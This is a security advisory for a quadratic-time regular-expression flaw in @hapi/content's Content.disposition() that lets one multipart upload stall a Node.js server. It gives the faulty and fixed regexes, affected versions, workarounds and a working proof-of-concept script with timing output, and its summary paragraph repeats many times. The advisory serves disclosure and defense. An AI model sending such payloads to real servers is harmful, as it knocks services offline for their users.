@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input when a Content-Disposition parameter contains a long token without an equals sign. The resulting quadratic processing can block the Node.js event loop before route handlers or validation when @hapi/pez parses multipart/form-data headers, including unauthenticated hapi routes with payload.multipart enabled, and also affects applications that pass untrusted headers directly to Content.disposition(). This issue is fixed in @hapi/content version 6.0.3.
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input when a Content-Disposition parameter contains a long token without an equals sign. The resulting quadratic processing can block the Node.js event loop before route handlers or validation when @hapi/pez parses multipart/form-data headers, including unauthenticated hapi routes with payload.multipart enabled, and also affects applications that pass untrusted headers directly to Content.disposition(). This issue is fixed in @hapi/content version 6.0.3.
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input when a Content-Disposition parameter contains a long token without an equals sign. The resulting quadratic processing can block the Node.js event loop before route handlers or validation when @hapi/pez parses multipart/form-data headers, including unauthenticated hapi routes with payload.multipart enabled, and also affects applications that pass untrusted headers directly to Content.disposition(). This issue is fixed in @hapi/content version 6.0.3.
### Summary
`Content.disposition()` takes quadratic time when a `Content-Disposition` parameter contains a long token without `=`. One unauthenticated multipart request can block the Node.js event loop for several minutes.
### Details
`Content.disposition()` reads the parameters with a global regular expression in `String.prototype.replace()`:
```js
/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))/g
```
The parameter name part `([^\=\*\s]+)` has no anchor. When a run of name characters has no `=` after it, the match attempt reads the full run and fails. The global scan then starts again at the next character and reads the remaining run again. The total time is proportional to the square of the run length.
`@hapi/pez` calls `Content.disposition()` on the header of every part in a `multipart/form-data` body. In hapi, this occurs on each route with `payload.multipart` enabled, before the route handler and before any validation. The only size limit is the route `payload.maxBytes`, which is 1 MB by default.
The fix adds an alternative that matches the full run of name characters when no `=` follows it. The scan then continues after the run, and the callback ignores this match. A match attempt that starts later in the same run always fails in the same way, so the parse result does not change. The parse time is now linear.
```js
/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))|[^\=\*\s]+/g
```
Every release from `3.0.6` (published as `content`) up to and including `@hapi/content` `6.0.2` is affected.
Workarounds: none that removes the risk, upgrade required. To reduce the delay for each request until you upgrade, set a low `payload.maxBytes` on routes that accept multipart payloads. A token of 64 KB still blocks the process for more than 1 second.
### Proof of concept
Install `@hapi/hapi` with `@hapi/content` `6.0.2`, then run:
```js
const Hapi = require('@hapi/hapi');
const Net = require('net');
const attack = (port, n) => new Promise((resolve) => {
const body = `--x\r\nContent-Disposition: form-data; name="f"; ${'a'.repeat(n)}\r\n\r\nv\r\n--x--\r\n`;
const req = `POST /upload HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: multipart/form-data; boundary=x\r\nContent-Length: ${Buffer.byteLength(body)}\r\nConnection: close\r\n\r\n${body}`;
const start = process.hrtime.bigint();
let res = '';
const socket = Net.connect(port, '127.0.0.1', () => socket.write(req));
socket.on('data', (chunk) => res += chunk);
socket.on('close', () => resolve(`${n} byte token HTTP ${res.split(' ')[1]} ${(Number(process.hrtime.bigint() - start) / 1e9).toFixed(3)} s`));
});
(async () => {
const server = Hapi.server({ host: '127.0.0.1', port: 7001 });
server.route({
method: 'POST',
path: '/upload',
options: {
auth: false,
payload: { multipart: { output: 'data' }, parse: true }
},
handler: () => ({ ok: true })
});
await server.start();
for (const n of [32000, 64000, 128000]) {
console.log(await attack(7001, n));
}
await server.stop();
})();
```
With `@hapi/content` `6.0.2`, the time increases by approximately four for each doubling of the token. During each request, the server does not answer other clients:
```text
32000 byte token HTTP 200 0.424 s
64000 byte token HTTP 200 1.670 s
128000 byte token HTTP 200 7.173 s
```
The reporter measured 542 seconds for a token of 1,024,000 bytes, which is near the default `payload.maxBytes`.
With `@hapi/content` `6.0.3`:
```text
32000 byte token HTTP 200 0.011 s
64000 byte token HTTP 200 0.003 s
128000 byte token HTTP 200 0.004 s
1024000 byte token HTTP 200 0.013 s
```
### Impact
This is a denial of service through slow regular expression processing. It affects every hapi server with a route that accepts multipart payloads, and every application that gives untrusted headers to `Content.disposition()`. An unauthenticated attacker sends one upload request of normal size, and the Node.js process stops answering all clients for seconds to minutes. A small number of these requests keeps the service unavailable.
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@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input …
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input …
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input …
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input …
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input …
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input …
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input …
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input …
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input …
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input …
@hapi/content provides HTTP Content-* header parsing. From 3.0.6 until 6.0.3, Content.disposition() uses an unanchored parameter-name expression in a global regular-expression scan, causing repeated failed matching over the remaining input …